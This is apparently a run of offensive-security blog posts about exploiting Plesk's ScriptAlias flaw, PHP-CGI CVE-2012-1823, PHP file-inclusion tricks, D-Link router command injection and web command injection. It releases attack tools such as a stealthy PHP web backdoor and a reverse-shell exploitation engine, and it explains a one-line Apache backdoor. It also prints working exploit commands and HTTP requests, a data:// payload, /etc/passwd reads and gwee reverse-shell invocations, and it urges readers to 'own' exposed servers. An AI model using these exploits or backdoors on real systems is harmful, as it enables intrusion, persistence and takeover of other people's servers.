ScriptAlias, Backdooring Apache, and the Plesk Remote Code Execution Exploit. (Also a free 0day :P)

/* WARNING: This post is slightly “rambling” as it is written without my usual proofreading and checking over for errors due to being my “field notes” of sorts, and due to current affairs leading to incredible time constraints. For those looking for the “Free 0day” mentioned in the title, read carefully ;) */

So, while experimenting with kingcope’s shiny Plesk RCE exploit – http://seclists.org/fulldisclosure/2013/Jun/21 – I decided to implement my own exploit for it in Python. Thanks to previously writing an exploit for the PHP-CGI vulnerability, this proved to be trivial.

The exploit is here: http://packetstormsecurity.com/files/122163/Plesk-PHP-Code-Injection.html

Now, that is nice and all, but lets take a look at why this vulnerability occurs.

Basically, the Apache config shipped with the vulnerable versions of Plesk, contains the directive ‘ScriptAlias /phppath/ “/usr/bin/”‘. This means that you can call any binary in the /usr/bin directory as a CGI script by passing it, and its arguments, in a URL, like so: host/phppath/php?-h

This allows you to directly call the PHP binary, have it executed as a CGI program, and the “-h” argument would be passed to it. What makes the exploit work, is we call the PHP binary and send it some arguments that allow us to send it PHP code to execute. You can, in fact, call *any* binary in /usr/bin/ and pass it args, the PHP interpreter being the easiest to abuse*

Basically, the vulnerability is caused by using the ScriptAlias directive to point at a directory, allowing one to call arbitrary binaries and use those to execute code.

Now, this is where it gets interesting.

I found it was trivial to “introduce” this vulnerability to an Apache webserver with one line, simply appending ScriptAlias /backdoor/ “/usr/bin/” to the httpd.conf file, or any file included by httpd.conf. This allows for a very sneaky PHP code execution backdoor to be “injected”, leaving no tell-tale files in the webroot, however, it does mean modifying a (often root owned) file. Still an interesting way to “add another way in”.

I then wondered if this line was a common thing to find in Apache config files, and if it could reliably allow remote code execution.

A few google queries later, and I was facedesking. And asking for a VPS to run some tests on.

First off, here is a well ranked guide on google for installing PHP in CGI mode on Ubuntu, which leads to a vulnerable configuration.
http://www.binarytides.com/setup-apache-php-cgi-ubuntu/

Next, we have OpenWRT Wiki showing us how to set up PHP… And leave ourselves open for the pwning.
http://wiki.openwrt.org/doc/howto/http.apache

There were a few others, which I will leave locating up to the reader.

Anyway, there was enough hideous code to make me consider writing an exploit/remote testing utility in Python for this bug, which is in my github repo for exploits at https://github.com/infodox/exploits
Running lolapache.py <site> will begin the process of probing and owning. Check out paths.txt, which contains the paths to probe for.

Demo:

Anyways, now for the TL;DR: If you are gonna be using Apache, and ScriptAlias’ing PHP, you are gonna have a bad time.
As for the free 0day, well. A whole load of boxes use these crappy configs, which means a whole load of boxes are ripe for getting owned by any moron with half a brain.

* I had a hit-and-miss series of tests passing an oneline reverse shell directly to Python interpreter and Perl interpreter, but it was unreliable. Some guys on rdot showed a method of using curl and python to pull down code and execute it.

Tool Release: phpkit 1.0 Web Backdoor

This is the (about bloody time too) release of the “PHPKit” PHP backdooring tool I was working on in my free time over the past while.

phpkit

phpkit

While not as advanced as “proper” web backdoors such as “weevely”, or “webhandler”, I feel PHPkit is something “interesting” to say the least.

Unlike most PHP backdoors, phpkit’s trojan contains no unusual function calls like “System” or “eval”. The only things it does are an ini_set and “include”. All “suspicious” PHP calls are made at runtime in-memory :D
This, I feel, makes it have a far smaller footprint on the target server. All payloads are sent as raw PHP in raw POST requests, where php://input passes them to the “include” function. It uses ini_set to attempt to enable allow_url_include if such is disabled, but I am working on a better workaround at the moment than this.
Likely something to do with fopen and suchlike… Will figure it out for the next version ;)

I actually got the idea to write this from when I was writing an exploit for the PHP-CGI bug, as shown here: http://insecurety.net/?p=705

This tools “shell” is somewhat rudimentary, in that it (unlike Weevely), does not store CWD, etc. It simply executes commands, which is what I designed it to do. It does, however, have a rather nice file upload stager, which I was rather happy with.
It is reasonably reliable for an experiment, and certainly is interesting in that the evil code is ran entirely in memory ;)

Anyways, enough talking about how awesome it is (it really is not that awesome :( ), time for some demos and useage.

So, obviously you have placed odd.php on the target server somewhere, somehow. What next?

Well, the only mandatory argument is –url=’URL’, where the URL is the URL to the odd.php file (or whatever you called it). By default, the tool will attempt code execution and pop you a shell if possible.
If not possible, it simply exits.

The –mode operator allows you to choose what mode you want to use. By default, the “SHELL” mode is chosen, however “UPLOAD” is another option. If you choose “UPLOAD”, you must specify a local and remote file.
To specify the local file (File to upload), use –lfile=”PATH TO FILE”
To specify where to write the file, use –rfile=”PATH TO PLACE FILE”

This should upload the file cleanly and rapidly, allowing you to move on with the pwning of things.

Here is a screenshot of it in shell mode

phpkit shell mode

Shell Mode

And here is a screenshot of file uploading.

phpkit upload mode

phpkit upload mode

Well, that’s all for now. As you can see, it is more of an experiment than a real software by any stretch of the imagination, however, if you find it useful let me know :)

You may download it here: phpkit-1.0.tar.gz :)

Web Exploitation Engine 0.1 Release

So, you might remember my short writeup on exploiting command injection vulnerabilities – http://insecurety.net/?p=403 – and note that the tool used, GWEE, was a bit outdated and often would not compile correctly on modern versions of Linux using GCC.

Had you ever messed with the tool, you might also notice one of the authors was Sabu, so as a matter of principle, I was going to avoid using it whenever possible.

So, many attempts were made at re-implementing the tool in Python, most of them absolute failures, totally rubbish, or otherwise “clunky” and inelegant.

Anyways, much messing about later, I stumbled across a piece of code by @LaNMaSteR53 named “rce.py”. You can download it here: rce.py (the original one).

My main problem when writing my implementations (prior to seeing LaNMaSteR53’s implementation) was handling the POST data. How the hell would I get it from the commandline to the tool itself without having the user editing some config file of some kind. To me, this was a major stumbling block.

So, when I saw Tim’s implementation, passing it “just like a GET, but telling the parser it was POST”, I had to borrow it. A quick bit of replacing the urllib stuff with requests.get and requests.post, and I had a decent base to build from.

While the retooled version of rce.py itself was pretty cool as it was, I felt it could be taken a lot further. The original beta had built in reverse shells (12 or so varieties), however it tended to crash and such a lot. No error handling whatsoever, and some of the payloads simply failed to function at all.

Eventually, I wrote the “payloads” module. A slimmed down version of it is included in the wee.tar.bz2 archive, as I have not finished the thing yet. Currently the public release contains only a python reverse shell, however it is extremely easy to expand upon.

Anyway, on with the show.

we.py has only one mandatory arguement, the –url arg. You simply (for a GET request, the default), put in –url=’http://victim.com/vuln?vuln=<rce>&otherparams=otherparams’
For a POST request, you put them in just like a GET request, and specify –method=post as an argument to tell the tool to parse them as POST parameters.

By default, it gives you the “rce.py” style inline shell prompt. However, using the –shell argument, you can specify it to use a reverse shell instead like so: –shell=reverse.

By default, the reverse shell will use 127.0.0.1 and 4444 as its lhost and lport, so you can change this with –lhost=LHOST and –lport=LPORT.

So, here is a screenshot of it in action:

Poppin' shells

Poppin’ shells

This tool is still being developed, so report any bugs you find in it and make suggestions :)

You may download it here: wee.tar.bz2 :)

Remember, use with care, etc.

Back… With exploits!

So, sovaldi finally my DNS issues and suchlike got sorted out, and the server has been migrated to a new host. Email is back as of a few hours ago (few issues with MX records and mailboxes or something and emails being delivered 10 times to me, but I think that will fix itself after a few days. I hope so anyway, because being bombed with 100 messages 10 times each is getting plenty bloody annoying).

Everything is upgraded to the new wordpress, no more nasty hacking the config files to get WP to work on a server not designed to run it.

So, while the site was “inactive”, I was working on a whole bunch of new content (and finishing old articles) to publish. Seeing as I have exams, I shall just leave a few gifts here for you to look at until they are over. dietrich may have something for you also :)

So, in order to keep everyone entertained for the next few days, check out the following piece of exploit engineering.

D-LINK DIR-300 and DIR-600 routers have a hilarious preauth remote root flaw in their web interface. A webpage called “command.php” that accepts a “cmd=$cmd” and executes it as root. EPIC FAIL. Why was that there? Ask D-LINK.

It was discovered by a German researcher, @s3cur1ty_de and you can read his original advisory here: http://www.s3cur1ty.de/m1adv2013-003

I had some free time in college, so I knocked up a quick PoC tool to exploit the flaw, and even managed to test the exploit on a friends router after class.

PoC Code: http://pastebin.com/raw.php?i=yPDKP86n

Remote Root

Remote Root

It delivers my customary user friendly shell interface, exploiting command injection. It can also autoenable TELNET and grant Telnet access, though this is seemingly less reliable, it hung when I tried it after rebooting the router.

Will be writing some more exploits, and maybe publishing them soon, so stay tuned ;)

Using PHP’s data:// stream and File Inclusion to execute code

This is a reasonably old remote code execution trick that I was actually unaware of until recently, illness when I stumbled across it by accident. I have been heavily researching various ways to go from a file inclusion bug to a remote code execution bug, and this one really got me interested.

As we previously mentioned in the I expect:// a shell post, medical you can use certain PHP streams to execute code via a file inclusion vulnerability. This one does not require any PHP extensions to be installed, unlike the expect:// trick, and relies solely on allow_url_include to be enabled, which sadly is becoming a rarity these days.

How this works is simple. PHP has a data:// stream, which can decode and accept data. If you insert some PHP code into this stream and include() it, the code will be executed. Rather simple, and rather effective too. I will cover php://input in a follow up post, and then post my findings on abusing FindFirstFile.

Essentially, instead of including /etc/passwd or a remote file, you simply include the following. data://text/plain;base64,PAYLOAD_GOES_HERE
Where the payload is base64 encoded PHP code to be executed. I choose to base64 encode the payload to avoid some problems I ran into with whitespace and longer payloads.

Now, obviously this would be no fun without a simple proof of concept tool to demonstrate the vulnerability. The following tool is under serious redevelopment at the moment, so it only spawns a bind shell at the moment. Next version will offer several payloads (I am working on a generic payload library for this kind of thing).

Data:// shell to bindshell :)

You can download the current version of the tool here: PHP data include exploit

I will update that code later, might do a video once there is something worth watching.

Exploit Development: PHP-CGI Remote Code Execution – CVE-2012-1823

The CVE-2012-1823 PHP-CGI exploit was, quite possibly, one of the most groundbreaking exploits of 2012. In a year that brought us MS-12-020 (the most hyped bug in my recollection), multiple Java 0day exploits, and several MySQL exploits, the PHP-CGI bug still stands out as one of the most hilariously brilliant bugs to show up for several reasons. Primarily the massive misunderstanding of how it worked.

For this exploit to work, PHP had to be running in CGI mode. A fairly obscure configuration not seen all too often in the wild. Essentially, with this vulnerability, you could inject arguements into the PHP-CGI binary and make changes to php.ini directives, allowing for remote code execution.

Developing an exploit for this bug is trivial. In order to gain remote code execution, you tell PHP.ini that it is to allow URL inclusion ( allow_url_include = 1 ), and to automatically prepend the “file” php://input. This means whatever we send in the POST request is parsed as PHP, and executed.

One way to exploit this (targetting example.com), using the lwp-request’s “POST” utility, is as follows.
echo “<?php system(‘id’);die(); ?>” | POST “http://example.com/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input”

As you will see in the video, we can easily use this to execute commands remotely from a BASH shell.

The HTTP request sent, looks something similar to this:

“””
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: example.com
User-Agent: lwp-request/6.03 libwww-perl/6.04
Content-Length: 29
Content-Type: application/x-www-form-urlencoded

<?php system(‘id’);die(); ?>

“””

The response to that was the server sending back the result of our command (id), so we know it works.

So now we have a somewhat reliable “commandline” RCE method, however, we like to automate things… Let’s see how hard it is to write a reliable exploit in Python.

The following screenshot shows exploitation using Python.

PHP CGI Exploitation

Exploiting PHP-CGI bug with Python

So, we know now that using Python’s requests library (a mainstay of all my exploits, as I guess you noticed).

Now that we have reliable exploitation using Python, I decided to go a step further and write an actual exploit in Python to automate the whole thing. It simply drops you into a shell of sorts, giving you the ability to run commands as the web-user.

Exploit code available here: Google Code – Insecurety Research

So, along comes the demo, as usual in video format. This time, with additional tunes by Blackmail House who gave me permission to use their music in demo videos the other day in the pub :)

Remember, play nice out there.
 

Local File Inclusion to RCE, abusing tempfiles and phpinfo()

“If you want to win a race condition, you best cheat”.

The following article demonstrates a fascinating method of exploiting Local File Inclusion vulnerabilities first thought up of by the guy who runs Gynvael.Coldwind.pl . It is further documented at Insomnia Security

To start, when you are exploiting a Local File Inclusion, in order to gain remote code execution you must “write” some PHP code somewhere on disc that you can “include”. Normally this means injecting into logfiles, or the /proc/self/environ interface.
In the event you cannot locate the logfiles, or access them, most people simply give up and claim “Yep, it is unexploitable”.
This is not true.

When you upload files via HTTP POST to a webserver running PHP, during the upload it creates a tempfile for the files data, normally in /tmp. This file is “randomly named” (I do not trust the PRNG PHP uses), and is stored for the duration of the upload.

Now, it just so happens that it will create this file irrespective of whether or not you are legitimately uploading (i.e. the webapp is accepting an upload) or not, and the file is deleted when the “upload” finishes.

Because these files are randomly named, and there are no wildcards that we can use on Linux (more on this later!), you might think “So, how does this help me at all?”.

Normally, you would be right. Unless you find a flaw in the PRNG that allows you to predict the “dummy name” of the file, this is not so useful to you. What we need is an information disclosure bug that displays the PHP variables at that particular time…

… Enter PHPinfo(). The phpinfo() call, often found in /phpinfo.php or other such files (often forgotten and not removed on webservers), displays the PHP variables as they are at that point in time… Including the “Dummy Filename” that is currently in use.

So, if we are to send a file upload, containing our evil PHP code, and then include() it (via the LFI), using the path given to us by the PHPinfo page, we gain code execution on the remote server.
Simple?

Yes, but not quite.
The file exists there for mere fractions of a second, so we lengthen the duration of the upload (we upload to the phpinfo file) by padding it with trash data. The insomniasec paper (linked at bottom) explains this better than I will, so I advise reading it! This is a race condition, so to further enhance our chances, we use multiple threads and multiple attempts. One of them will succeed, normally within short order (averages at 30 seconds, see the demo video!). If you have LFI and a phpinfo() page, you WILL gain code execution on the server.

The PHP code you “upload” and execute via include() effectively acts as a “Dropper”, dropping some malicious code that is stored in /tmp with a filename you have set. You then simply include() this dropped file via the LFI bug to execute code, as per normal LFI.

The InsomniaSec guys released, along with their paper, a demo script to show how it works. imax, the mantainer of Fimap (which I also develop) released a Fimap plugin that exploits this vulnerability, and that is what I am about to demonstrate. imax’s code drops a file named “eggshell” which is essentially a stripped down version of the Fimap payload.

The Fimap module is extremely reliable, giving me shells in short order. I have never had an issue with it to date, and normally on remote boxes it takes a minute or so to pop a shell.

Demo Video

Next week I will be releasing a demo of doing this against Windows targets without the lovely PHPinfo bug. A much “truer” race condition :)

Whitepaper (InsomniaSec)

A few exploits…

So, lately I have been experimenting a lot with the “Requests” module for python. It makes creating and sending HTTP GET and POST requests so incredibly easy, that I had to use it to write some incredibly simple PoC exploits.

First off, recently there was an advisory about a PHPTax remote code execution vulnerability. So, naturally, I wrote a quick and nasty PoC for it. There is a better one in the Metasploit framework, but I simply wrote this to stave off boredom one evening. This one simply throws you a reverse shell (if the moon, sun and Andromeda galaxy are correctly lined up).

http://code.google.com/p/insecurety-research/source/browse/trunk/misc-exploits/phptax_RCE.py

Using “requests”, you can send a GET request using just requests.get(url)
It is that simple.

The second was an earlier exploit I wrote, before I remembered I could simply inject a reverse shell.

It was an exploit for an Xoops RCE bug. I simply had my exploit wget a shell from a remote server.

http://code.google.com/p/insecurety-research/source/browse/trunk/misc-exploits/xoops_rce.py

There are others in that SVN repo to look at, just have a look :)

I will likely write more later on “Rapid Proof of Concept Creation using ‘requests'” if I could be bothered, there are more vulns to exploit in the meanwhile ;)

Command Injection Vulnerabilities in Web applications (PHP)

This is a short paper describing how to exploit basic command injection vulnerabilities in web applications. I am covering it as part of my attempt to cover the entire OWASP Top Ten series here, and hopefully you will find this paper informative.

So, what IS Command Injection?
Command injection is basically injection of operating system commands to be executed through a web-app. I had some trouble explaining it, so I will show the OWASP definition…

The purpose of the command injection attack is to inject and execute commands specified by the attacker in the vulnerable application. In situation like this, the application, which executes unwanted system commands, is like a pseudo system shell, and the attacker may use it as any authorized system user. However, commands are executed with the same privileges and environment as the application has. Command injection attacks are possible in most cases because of lack of correct input data validation, which can be manipulated by the attacker (forms, cookies, HTTP headers etc.).

There is a variant of the Code Injection attack. The difference with code injection is that the attacker adds his own code to the existing code. In this way, the attacker extends the default functionality of the application without the necessity of executing system commands. Injected code is executed with the same privileges and environment as the application has.

An OS command injection attack occurs when an attacker attempts to execute system level commands through a vulnerable application. Applications are considered vulnerable to the OS command injection attack if they utilize user input in a system level command.

So, what does all that mean?
Essentially, comman injection attacks can occur when a web application executes system commands – say – a webapp that runs nslookup queries for you. If the input that is passed tot he shell command is not correctly sanitized, an attacker can *inject* extra shell commands and have your application run them under the priviliges of the webapp – normally the privilages of the web-server.
Put simply, it means the attacker can execute commands on your box, leading to total system compromise. Yes, this is a very serious vulnerability.

Ok, so how does all this work?
I suppose the simplest way to explain is by a simple example. Below I wills how some example code, and how exactly we would go about exploiting it.

<?php
   $host = 'google';
   if (isset( $_GET['host'] ) )
      $host = $_GET['host'];
   system("nslookup " . $host);
?>

<form method="get">
   <select name="host">
      <option value="google.com">google</option>
      <option value="yahoo.com">yahoo</option>
   </select>
   <input type="submit">
</form>

This piece of code accepts the GET parameter “host” and runs the nslookup command on it, giving you output regarding its IP address.
The important part is to see how the $host parameter (the GET parameter) is passed directly to the system() function without any filtering or sanitization of input.
Those of you familiar with the Unix command line will know we can “stack” commands by using a semicolon, like so…
nslookup google.com;cat /etc/passwd
Hence, you should realize that if we appended the semicolon followed by an arbritary OS command to the GET parameter, we will be able to execute our commands.
Demo Time!
In this demo we simply run ls, and try read a couple of files. Then I decided to cat /dev/urandom (for fun) and had to end the demo as my drive started spinning like mad.

SO that is GET injection. You also said POST variables?
Indeed. Not only GET vars are vulnerable to this kind of attack, POST variables (for example, forms) are also vulnerable to these attacks.
Mutillidae has a fine example of POST command injection, so we will use that for the next demo. Basically the same deal – just a semicolon followed by your commands.

Demo Time!

POST injection without visible forms…
Now sometimes we cannot see the POST var being sent, due to it being in a list. Please see the code below for an example…

<?php
   $host = 'google';
   if (isset( $_POST['host'] ) )
      $host = $_POST['host'];
   system("nslookup " . $host);
?>

<form method="post">
   <select name="host">
      <option value="google.com">google</option>
      <option value="yahoo.com">yahoo</option>
   </select>
   <input type="submit">
</form>

Ok. So we have no DIRECT access to the POST param “host” via our browser, however we *know* it is vulnerable.
We know this as it passes the input from the POST var “host” directly to the system() function and therefore is vuln to the same attack methods as the GET injection we preformed earlier…
It is situations like these that we use BURP or a similar intercepting proxy to get a better look at whats going on. Simply we intercept our own traffic and we can modify it on the fly to see what is going on in there…

So… We can execute commands… What next?
Well, obviously the ability to execute commands is great, but we can take this a bit further. Getting a reverse shell, for example, would be awesome. And as it happens, we can do this.
There exists a tool called “GWEE”, which stands for “Generic Web Exploitation Engine”, written by some guys including our favourite narc, Sabu. It was released a couple of years ago, however it is an INCREDIBLY powerful tool and is VERY useful.
Now, GWEE operates by injecting reverse-shell shellcode and running it, giving one direct shell access. It has built in listener, etc.

GWEE usage: Owning a HTTP GET Injection
Ok. So we have our GET injection from earlier and want to get ourselves a reverse shell from it… We intend to use GWEE. Let’s run over what args to use…

The Command string we will be using…
gwee -G -y ‘?host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd1.php
So, what do all those mean?
The -G flag means “GET”, so we inject via GET request.
The -y ‘?host=;’ is the injectable parameter with the semicolon appended.
-l localhost means “Listener is localhost, send shell there”
-p 4445 means “Port to phone home to is port 4445″
-L means “use built in listener so I don’t have to start a netcat” (only for if you are listening on the same amchine as you are injecting from)
And the last thing there is the vulnerable URL…

Enough talking, ITS DEMO TIME

GWEE Usage: Owning a HTTP POST Injection
Now in this part we assume we know nothing about the app we are attacking except the vuln page, so it gives me an excuse to use Burp to find the vulnerable parameter to inject.
Now as for the GWEE injection commands, mostly the same except for 2 VITAL changes…
gwee -y ‘host=;’ -l localhost -p 4445 -L http://localhost/inclusiondemo/cmd2.php
Well, obviously the vuln URL is a bit different as it IS a different page we are attacking.
There is no -G flag. GWEE uses POST injections by default!
The -y ‘host=;’ arguements look the same at first glance, except the ? is gone. Why is this you ask? Because the ? is only there in GET injections and not in POST ones. This is just how POST/GET work, and if you had not known this you do now :)

Demo Time!

 

Further Reading…
This is just a list of links you should check out, I learned a LOT from them!
[PDF] The Essence of Command Injection Attacks in Web Applications
[PDF] Advanced Command Injection – Black Hat
GolemTechnologies – Shell Injection
OWASP – Command Injection
OWASP – Testing for command injection
OWASP – Injection Flaws
SecurityInnovation on Command Injection
Wikipedia – Code Injection

Downloads
Source code used in this demo can be found here…
Both PHP Apps Source Code
GWEE Source Code Local Mirror
GWEE Source Code Packetstorm Mirror
GWEE Linux Binary (Statically Compiled, Zipped)
Mutillidae
BURP Proxy

0x4641494c – Fail Patching and Symantec Remote Root Redux!

Those of you who have been reading this for a while, or who are familiar with my work, might remember this: Symantec Web Gateway Remote Root, a little PoC I knocked together based on an exploit Muts from Offensive Security wrote. His PoC, I felt, was a tad unuseable, so I made an attempt at reinventing it :)

So, naturally, Symantec patched this terrible vulnerability. And everyone breathed a sigh of relief.

Or so they thought! Muts revisited it post-patch, and simply found another way to exploit the EXACT SAME FLAW. And when he released the PoC for his “Exploit: Reloaded”, I like to think he took my advice and wrote a better ‘sploit, as his new one is very similar to my “more weaponized” PoC. A bit neater too… Is this a game of one-upmanship? ;)

Without further ado, here is the exploit: Muts Reloaded!

Anyways, I better go off and finish that demo on Cryptfuscate I promised I would write :)
~infodox